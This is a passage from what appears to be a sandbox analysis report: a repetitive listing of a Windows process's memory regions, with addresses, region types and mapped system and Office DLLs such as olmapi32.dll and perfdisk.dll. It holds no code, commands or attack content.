0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8688 start_va = 0x7ffa6fe20000 end_va = 0x7ffa6fe2ffff monitored = 0 entry_point = 0x7ffa6fe25b40 region_type = mapped_file name = "msscntrs.dll" filename = "\\Windows\\System32\\msscntrs.dll" (normalized: "c:\\windows\\system32\\msscntrs.dll") Region: id = 8691 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8692 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8693 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 8694 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 8695 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 8696 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 8697 start_va = 0x1b940000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8698 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8699 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8701 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8702 start_va = 0x7ffa589f0000 end_va = 0x7ffa59034fff monitored = 0 entry_point = 0x7ffa589f36d0 region_type = mapped_file name = "olmapi32.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\OLMAPI32.DLL" (normalized: "c:\\program files\\micros~1\\office16\\olmapi32.dll") Region: id = 8703 start_va = 0x1b920000 end_va = 0x1b921fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b920000" filename = "" Region: id = 8704 start_va = 0x7ffa6c1e0000 end_va = 0x7ffa6c1f8fff monitored = 0 entry_point = 0x7ffa6c1eee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 8705 start_va = 0x7ffa6c140000 end_va = 0x7ffa6c1d0fff monitored = 0 entry_point = 0x7ffa6c192430 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 8708 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8709 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8710 start_va = 0x1b980000 end_va = 0x1b98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b980000" filename = "" Region: id = 8711 start_va = 0x1b990000 end_va = 0x1b99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b990000" filename = "" Region: id = 8712 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8713 start_va = 0x7ffa77640000 end_va = 0x7ffa77733fff monitored = 0 entry_point = 0x7ffa7764a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 8714 start_va = 0x7ffa6c130000 end_va = 0x7ffa6c13bfff monitored = 0 entry_point = 0x7ffa6c134150 region_type = mapped_file name = "vcruntime140_1.dll" filename = "\\Windows\\System32\\vcruntime140_1.dll" (normalized: "c:\\windows\\system32\\vcruntime140_1.dll") Region: id = 8715 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8716 start_va = 0x1e4e0000 end_va = 0x1e6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e4e0000" filename = "" Region: id = 8718 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8719 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8720 start_va = 0x7ffa586e0000 end_va = 0x7ffa589e3fff monitored = 0 entry_point = 0x7ffa58786094 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 8722 start_va = 0x1b980000 end_va = 0x1b981fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b980000" filename = "" Region: id = 8723 start_va = 0x1b990000 end_va = 0x1b99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b990000" filename = "" Region: id = 8725 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8726 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8727 start_va = 0x7ffa6f980000 end_va = 0x7ffa6f98ffff monitored = 0 entry_point = 0x7ffa6f985870 region_type = mapped_file name = "perfdisk.dll" filename = "\\Windows\\System32\\perfdisk.dll" (normalized: "c:\\windows\\system32\\perfdisk.dll") Region: id = 8728 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8729 start_va = 0x7ffa74af0000 end_va = 0x7ffa74b00fff monitored = 0 entry_point = 0x7ffa74af3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 8730 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8731 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 8732 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 8733 start_va = 0x1e1e0000 end_va = 0x1e2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1e0000" filename = "" Region: id = 8736 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8737 start_va = 0x7ffa68c80000 end_va = 0x7ffa68c8afff monitored = 0 entry_point = 0x7ffa68c82e30 region_type = mapped_file name = "perfnet.dll" filename = "\\Windows\\System32\\perfnet.dll" (normalized: "c:\\windows\\system32\\perfnet.dll") Region: id = 8738 start_va = 0x7ffa78710000 end_va = 0x7ffa78726fff monitored = 0 entry_point = 0x7ffa78711390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8739 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8740 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8741 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8742 start_va = 0x7ffa63050000 end_va = 0x7ffa63063fff monitored = 0 entry_point = 0x7ffa63051310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 8743 start_va = 0x7ffa71650000 end_va = 0x7ffa7165dfff monitored = 0 entry_point = 0x7ffa71652b10 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 8745 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8746 start_va = 0x1e4e0000 end_va = 0x1e5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e4e0000" filename = "" Region: id = 8747 start_va = 0x1e6a0000 end_va = 0x1e6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e6a0000" filename = "" Region: id = 8748 start_va = 0x1e6b0000 end_va = 0x1eaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e6b0000" filename = "" Region: id = 8749 start_va = 0x7ffa688b0000 end_va = 0x7ffa688befff monitored = 0 entry_point = 0x7ffa688b59a0 region_type = mapped_file name = "perfproc.dll" filename = "\\Windows\\System32\\perfproc.dll" (normalized: "c:\\windows\\system32\\perfproc.dll") Region: id = 8752 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8753 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8754 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8764 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8765 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8766 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8767 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8768 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8769 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8770 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8771 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 8772 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8773 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8774 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 8775 start_va = 0x7ffa76cb0000 end_va = 0x7ffa76cd2fff monitored = 0 entry_point = 0x7ffa76cb3670 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8776 start_va = 0x7ffa76c30000 end_va = 0x7ffa76c5bfff monitored = 0 entry_point = 0x7ffa76c38210 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8777 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8778 start_va = 0x7ffa71e20000 end_va = 0x7ffa71e8ffff monitored = 0 entry_point = 0x7ffa71e42960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 8779 start_va = 0x7ffa76ec0000 end_va = 0x7ffa76ee6fff monitored = 0 entry_point = 0x7ffa76ec7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8780 start_va = 0x7ffa702e0000 end_va = 0x7ffa70321fff monitored = 0 entry_point = 0x7ffa702e8290 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 8781 start_va = 0x7ffa762a0000 end_va = 0x7ffa762a7fff monitored = 0 entry_point = 0x7ffa762a12b0 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 8782 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8783 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8784 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 8785 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 8786 start_va = 0x7ffa755c0000 end_va = 0x7ffa755cafff monitored = 0 entry_point = 0x7ffa755c1650 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 8787 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8788 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8789 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 8790 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 8791 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8792 start_va = 0x1b900000 end_va = 0x1b900fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 8793 start_va = 0x1b910000 end_va = 0x1b910fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 8794 start_va = 0x7ffa66500000 end_va = 0x7ffa66587fff monitored = 0 entry_point = 0x7ffa66514510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 8795 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8796 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8797 start_va = 0x7ffa71540000 end_va = 0x7ffa7154bfff monitored = 0 entry_point = 0x7ffa71544620 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 8798 start_va = 0x7ffa70af0000 end_va = 0x7ffa70b0bfff monitored = 0 entry_point = 0x7ffa70af31d0 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 8799 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8800 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8801 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8802 start_va = 0x7ffa71530000 end_va = 0x7ffa71539fff monitored = 0 entry_point = 0x7ffa71531790 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 8803 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8804 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8805 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8806 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8807 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8808 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8809 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8810 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8811 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8812 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8813 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8814 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8815 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8816 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8817 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8818 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8819 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8820 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8821 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8822 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8823 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8824 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8825 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8826 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 8827 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 8828 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 8833 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8834 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8835 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8836 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8837 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8838 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8840 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8841 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8842 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8843 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8844 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 8845 start_va = 0x1b9c0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 8846 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8847 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8848 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8849 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8850 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 8851 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 8852 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 8853 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 8854 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 8855 start_va = 0x7ff9ff570000 end_va = 0x7ff9ff57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff570000" filename = "" Region: id = 8856 start_va = 0x1b8c0000 end_va = 0x1b8ddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8857 start_va = 0x1f2e0000 end_va = 0x1fadffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001f2e0000" filename = "" Region: id = 8858 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 8859 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8860 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8861 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8862 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8863 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8864 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8865 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8866 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8867 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8868 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8869 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8870 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8871 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8872 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8873 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8874 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8875 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8876 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8877 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8878 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8879 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8880 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8881 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8882 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8883 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 8884 start_va = 0x1b8c0000 end_va = 